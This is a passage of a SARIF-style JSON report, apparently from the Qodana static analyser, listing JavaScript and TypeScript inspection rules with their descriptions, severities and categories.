 \"id\": \"DuplicateConditionJS\",\n                \"shortDescription\": {\n                  \"text\": \"Duplicate condition in 'if' statement\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports duplicate conditions in different branches of an 'if' statement. Duplicate conditions usually represent programmer oversight. Example: 'if (a) {\\n    ...\\n  } else if (a) {\\n    ...\\n  }'\",\n                  \"markdown\": \"Reports duplicate conditions in different branches of an `if` statement. Duplicate conditions usually represent programmer oversight.\\n\\nExample:\\n\\n\\n      if (a) {\\n        ...\\n      } else if (a) {\\n        ...\\n      }\\n\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"DuplicateConditionJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Control flow issues\",\n                      \"index\": 1,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"NestedFunctionCallJS\",\n                \"shortDescription\": {\n                  \"text\": \"Nested function call\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a function call that is used as an argument in another function call, for example, 'foo(bar())'\",\n                  \"markdown\": \"Reports a function call that is used as an argument in another function call, for example, `foo(bar())`\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"NestedFunctionCallJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Code style issues\",\n                      \"index\": 10,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"TrivialIfJS\",\n                \"shortDescription\": {\n                  \"text\": \"Redundant 'if' statement\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an 'if' statement that can be simplified to a single assignment or a 'return' statement. Example: 'if(foo())\\n {\\n  return true;\\n }\\n else\\n {\\n   return false;\\n }' After applying the quick-fix the code looks as follows:  'return foo();'\",\n                  \"markdown\": \"Reports an `if` statement that can be simplified to a single assignment or a `return` statement.\\n\\nExample:\\n\\n\\n    if(foo())\\n     {\\n      return true;\\n     }\\n     else\\n     {\\n       return false;\\n     }\\n\\nAfter applying the quick-fix the code looks as follows:\\n\\n     return foo();\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"RedundantIfStatementJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Control flow issues\",\n                      \"index\": 1,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSEqualityComparisonWithCoercion\",\n                \"shortDescription\": {\n                  \"text\": \"Equality operator may cause type coercion\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a usage of an equality operator that may cause unexpected type coercions. Suggests replacing '==' and '!=' with type-safe equality operators '===' and '!=='. Depending on the option selected, one of the following cases will be reported: All usages of '==' and '!=' operators. All usages except comparison with null. Some code styles allow using 'x == null' as a replacement for 'x === null || x === undefined'. Only suspicious expressions, such as: '==' or '!=' comparisons with '0', '''', 'null', 'true', 'false', or 'undefined'.\",\n                  \"markdown\": \"Reports a usage of an equality operator that may cause unexpected type coercions. Suggests replacing `==` and `!=` with type-safe equality operators `===` and `!==`.\\n\\nDepending on the option selected, one of the following cases will be reported:\\n\\n* All usages of `==` and `!=` operators.\\n* All usages except comparison with null. Some code styles allow using `x == null` as a replacement for `x === null || x === undefined`.\\n* Only suspicious expressions, such as: `==` or `!=` comparisons with `0`, `''`, `null`, `true`, `false`, or `undefined`.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"EqualityComparisonWithCoercionJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Probable bugs\",\n                      \"index\": 13,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CommaExpressionJS\",\n                \"shortDescription\": {\n                  \"text\": \"Comma expression\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a comma expression. Such expressions are often a sign of overly clever code, and may lead to subtle bugs. Comma expressions in the initializer or in the update section of 'for' loops are ignored.\",\n                  \"markdown\": \"Reports a comma expression. Such expressions are often a sign of overly clever code, and may lead to subtle bugs. Comma expressions in the initializer or in the update section of `for` loops are ignored.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CommaExpressionJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Potentially undesirable code constructs\",\n                      \"index\": 11,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ConstantOnLHSOfComparisonJS\",\n                \"shortDescription\": {\n                  \"text\": \"Constant on left side of comparison\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a comparison operation with a constant value in the left-hand side. According to coding conventions, constants should be in the right-hand side of comparisons.\",\n                  \"markdown\": \"Reports a comparison operation with a constant value in the left-hand side. According to coding conventions, constants should be in the right-hand side of comparisons.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ConstantOnLefSideOfComparisonJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Code style issues\",\n                      \"index\": 10,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSCheckFunctionSignatures\",\n                \"shortDescription\": {\n                  \"text\": \"Signature mismatch\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a JavaScript call expression where the arguments do not match the signature of the referenced function, including the types of arguments and their number. Also, reports if the overloading function doesn't match the overloaded one in terms of parameters and return types. TypeScript code is ignored.\",\n                  \"markdown\": \"Reports a JavaScript call expression where the arguments do not match the signature of the referenced function, including the types of arguments and their number. Also, reports if the overloading function doesn't match the overloaded one in terms of parameters and return types.\\n\\nTypeScript code is ignored.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSCheckFunctionSignatures\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/General\",\n                      \"index\": 9,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"AssignmentResultUsedJS\",\n                \"shortDescription\": {\n                  \"text\": \"Result of assignment used\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an assignment expression where the result of the assignment is used in the containing expression. Such assignments often indicate coding errors, for example, '=' instead of '=='. Moreover, they can result in confusion due to the order of operations, as evaluation of the assignment may affect the outer expression in unexpected ways. Expressions in parentheses are ignored.\",\n                  \"markdown\": \"Reports an assignment expression where the result of the assignment is used in the containing expression. Such assignments often indicate coding errors, for example, `=` instead of `==`. Moreover, they can result in confusion due to the order of operations, as evaluation of the assignment may affect the outer expression in unexpected ways.\\n\\nExpressions in parentheses are ignored.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"AssignmentResultUsedJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Assignment issues\",\n                      \"index\": 34,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ES6BindWithArrowFunction\",\n                \"shortDescription\": {\n                  \"text\": \"Suspicious usage of 'bind' with arrow function\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports 'bind' used together with an arrow function. Because arrow functions use lexical 'this', a 'bind' call will have no effect on them. See here for details.\",\n                  \"markdown\": \"Reports `bind` used together with an arrow function.  \\nBecause arrow functions use lexical `this`, a `bind` call will have no effect on them.  \\nSee [here](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Functions/Arrow_functions#Lexical_this) for details.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ES6BindWithArrowFunction\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Probable bugs\",\n                      \"index\": 13,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ConstantOnRHSOfComparisonJS\",\n                \"shortDescription\": {\n                  \"text\": \"Constant on right side of comparison\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a comparison operation with a constant in the right-hand side. According to coding conventions, constants should only be in the left-hand side of comparisons.\",\n                  \"markdown\": \"Reports a comparison operation with a constant in the right-hand side. According to coding conventions, constants should only be in the left-hand side of comparisons.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ConstantOnRightSideOfComparisonJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Code style issues\",\n                      \"index\": 10,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSComparisonWithNaN\",\n                \"shortDescription\": {\n                  \"text\": \"Comparison with NaN\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a comparison with NaN. Comparisons like 'expr == NaN' or 'expr === NaN' are always evaluated to 'false'.\",\n                  \"markdown\": \"Reports a comparison with NaN. Comparisons like `expr == NaN` or `expr === NaN` are always evaluated to `false`.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSComparisonWithNaN\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Probable bugs\",\n                      \"index\": 13,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSUnnecessarySemicolon\",\n                \"shortDescription\": {\n                  \"text\": \"Unnecessary semicolon\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an unneeded semicolon.\",\n                  \"markdown\": \"Reports an unneeded semicolon.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSUnnecessarySemicolon\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/General\",\n                      \"index\": 9,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"UnnecessaryLabelJS\",\n                \"shortDescription\": {\n                  \"text\": \"Unnecessary label\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an unused label.\",\n                  \"markdown\": \"Reports an unused label.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"UnnecessaryLabelJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Control flow issues\",\n                      \"index\": 1,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSBitwiseOperatorUsage\",\n                \"shortDescription\": {\n                  \"text\": \"Bitwise operator usage\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a suspicious usage of a bitwise AND (\\\"'&'\\\") or OR (\\\"'|'\\\") operator. Usually it is a typo and the result of applying boolean operations AND (\\\"'&&'\\\") and OR (\\\"'||'\\\") is expected.\",\n                  \"markdown\": \"Reports a suspicious usage of a bitwise AND (\\\"`&`\\\") or OR (\\\"`|`\\\") operator. Usually it is a typo and the result of applying boolean operations AND (\\\"`&&`\\\") and OR (\\\"`||`\\\") is expected.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSBitwiseOperatorUsage\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Bitwise operation issues\",\n                      \"index\": 17,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"TypeScriptUnresolvedReference\",\n                \"shortDescription\": {\n                  \"text\": \"Unresolved TypeScript reference\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an unresolved reference in TypeScript code.\",\n                  \"markdown\": \"Reports an unresolved reference in TypeScript code.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"error\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"TypeScriptUnresolvedReference\",\n                    \"ideaSeverity\": \"ERROR\",\n                    \"qodanaSeverity\": \"Critical\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/TypeScript\",\n                      \"index\": 22,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSUnresolvedReference\",\n                \"shortDescription\": {\n                  \"text\": \"Unresolved reference\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an unresolved reference in JavaScript code. In TypeScript code, a problem is reported if the part of the reference before the dot is of the type 'any'.\",\n                  \"markdown\": \"Reports an unresolved reference in JavaScript code. In TypeScript code, a problem is reported if the part of the reference before the dot is of the type `any`.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSUnresolvedReference\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/General\",\n                      \"index\": 9,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSNonStrictModeUsed\",\n                \"shortDescription\": {\n                  \"text\": \"Non-strict mode used\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a JavaScript file that is not in the 'strict' mode.\",\n                  \"markdown\": \"Reports a JavaScript file that is not in the `strict` mode.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSNonStrictModeUsed\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/General\",\n                      \"index\": 9,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"ES6RedundantAwait\",\n                \"shortDescription\": {\n                  \"text\": \"Redundant 'await' expression\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a redundant usage of 'await', such as 'await await', or awaiting a non-promise result. When the 'Report for promises' option is selected, suggests removing 'await' before promises when applicable (in 'return' statements, and with 'Promise.resolve/reject'). Removing 'await' in such contexts causes two problems. Surrounding your code with 'try-catch' and forgetting to add 'await' will change code semantics while you may fail to notice that. Having an explicit 'await' may prevent the V8 runtime from providing async stack traces.\",\n                  \"markdown\": \"Reports a redundant usage of `await`, such as `await await`, or awaiting a non-promise result.\\n\\n\\nWhen the 'Report for promises' option is selected, suggests removing `await` before promises when applicable\\n(in `return` statements, and with `Promise.resolve/reject`).\\n\\nRemoving `await` in such contexts causes two problems.\\n\\n* Surrounding your code with `try-catch` and forgetting to add `await` will change code semantics while you may fail to notice that.\\n* Having an explicit `await` may prevent the V8 runtime from providing [async stack traces](http://bit.ly/v8-zero-cost-async-stack-traces).\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"ES6RedundantAwait\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Async code and promises\",\n                      \"index\": 49,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"NestedSwitchStatementJS\",\n                \"shortDescription\": {\n                  \"text\": \"Nested 'switch' statement\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a 'switch' statement that is nested in another 'switch' statement. Nested 'switch' statements may be very confusing, particularly if indenting is inconsistent.\",\n                  \"markdown\": \"Reports a `switch` statement that is nested in another `switch` statement. Nested `switch` statements may be very confusing, particularly if indenting is inconsistent.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"NestedSwitchStatementJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Switch statement issues\",\n                      \"index\": 47,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"UnterminatedStatementJS\",\n                \"shortDescription\": {\n                  \"text\": \"Unterminated statement\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a statement without a semicolon or a newline at the end. Select the 'Terminate statements with semicolons' option in Editor | Code Style | JavaScript or TypeScript - Punctuation to report any statement that doesn't end with a semicolon, even if a newline is used. According to some coding styles, semicolons are preferred to line-breaks for consistency with the other languages.\",\n                  \"markdown\": \"Reports a statement without a semicolon or a newline at the end.\\n\\nSelect the 'Terminate statements with semicolons' option in *Editor \\\\| Code Style \\\\| JavaScript or TypeScript - Punctuation* to report any statement that doesn't end with a semicolon, even if a newline is used.\\nAccording to some coding styles, semicolons are preferred to line-breaks for consistency with the other languages.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"UnterminatedStatementJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Code style issues\",\n                      \"index\": 10,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"PlatformDetectionJS\",\n                \"shortDescription\": {\n                  \"text\": \"Inaccurate platform detection\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a common JavaScript pattern for detecting the browser or operating system in which the script is run. In addition to pointing out non-portable constructs, these platform detection patterns are often incomplete and easily fooled. For most cases, detection of individual environment features is preferable to attempting to detect the entire platform. Patterns detected include: 'document.all' 'document.layers' 'navigator.userAgent' 'navigator.oscpu' 'navigator.appName' 'navigator.appCodeName' 'navigator.platform'\",\n                  \"markdown\": \"Reports a common JavaScript pattern for detecting the browser or operating system in which the script is run. In addition to pointing out non-portable constructs, these platform detection patterns are often incomplete and easily fooled. For most cases, detection of individual environment features is preferable to attempting to detect the entire platform.\\n\\nPatterns detected include:\\n\\n* `document.all`\\n* `document.layers`\\n* `navigator.userAgent`\\n* `navigator.oscpu`\\n* `navigator.appName`\\n* `navigator.appCodeName`\\n* `navigator.platform`\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"PlatformDetectionJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/DOM issues\",\n                      \"index\": 48,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"IfStatementWithIdenticalBranchesJS\",\n                \"shortDescription\": {\n                  \"text\": \"'if' statement with identical branches\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an 'if' statement with identical 'then' and 'else' branches. Such statements are almost certainly an error.\",\n                  \"markdown\": \"Reports an `if` statement with identical `then` and `else` branches. Such statements are almost certainly an error.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"IfStatementWithIdenticalBranchesJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Control flow issues\",\n                      \"index\": 1,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"AssignmentToFunctionParameterJS\",\n                \"shortDescription\": {\n                  \"text\": \"Assignment to function parameter\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports an assignment to a function parameter, including increment and decrement operations. Although occasionally intended, this construct can be extremely confusing, and is often a result of an error.\",\n                  \"markdown\": \"Reports an assignment to a function parameter, including increment and decrement operations. Although occasionally intended, this construct can be extremely confusing, and is often a result of an error.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"AssignmentToFunctionParameterJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Assignment issues\",\n                      \"index\": 34,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"JSConsecutiveCommasInArrayLiteral\",\n                \"shortDescription\": {\n                  \"text\": \"Consecutive commas in array literal\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a consecutive comma in an array literal. The skipped element accepts the 'undefined' value, but it could be done unintentionally, for example, when commas are at the end of one line and at the beginning of the next one.\",\n                  \"markdown\": \"Reports a consecutive comma in an array literal. The skipped element accepts the `undefined` value, but it could be done unintentionally, for example, when commas are at the end of one line and at the beginning of the next one.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"JSConsecutiveCommasInArrayLiteral\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Probable bugs\",\n                      \"index\": 13,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"FallThroughInSwitchStatementJS\",\n                \"shortDescription\": {\n                  \"text\": \"Fallthrough in 'switch' statement\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a 'switch' statement where control can proceed from a branch to the next one. Such \\\"fall-through\\\" often indicates an error, for example, a missing 'break' or 'return'.\",\n                  \"markdown\": \"Reports a `switch` statement where control can proceed from a branch to the next one. Such \\\"fall-through\\\" often indicates an error, for example, a missing `break` or `return`.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"FallThroughInSwitchStatementJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Switch statement issues\",\n                      \"index\": 47,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"CallerJS\",\n                \"shortDescription\": {\n                  \"text\": \"Use of 'caller' property\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a usage of the 'caller' property in a JavaScript function. Using this property to access the stack frame of the calling method can be extremely confusing and result in subtle bugs.\",\n                  \"markdown\": \"Reports a usage of the `caller` property in a JavaScript function. Using this property to access the stack frame of the calling method can be extremely confusing and result in subtle bugs.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"CallerJS\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"JavaScript and TypeScript/Potentially confusing code constructs\",\n                      \"index\": 24,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"TypeScriptExplicitMemberType\",\n                \"shortDescription\": {\n                  \"text\": \"Explicit types\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports a type annotation that doesn't match the current code style for explicit types. Type declarations are not necessary when the type that is inferred from the context exactly matches the type annotation, for example: 'var pi: number = 3.14' In some cases it is preferable to always have explicit types - this prevents accidental type changes and makes code more explicit.\",\n                  \"markdown\": \"Reports a type annotation that doesn't match the current code style for explicit types.\\n\\n\\nType declarations are not necessary when the type that is inferred from the context exactly matches the type annotation, for example:\\n\\n\\n        var pi: number = 3.14\\n\\nIn some cases it is preferable to always have explicit types - this prevents accidental type changes and makes code more explicit.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"TypeScriptExplicitMemberType\",\n                    \"ideaSeverity\": \"INFORMATION\",\n                    \"qodanaSeverity\": 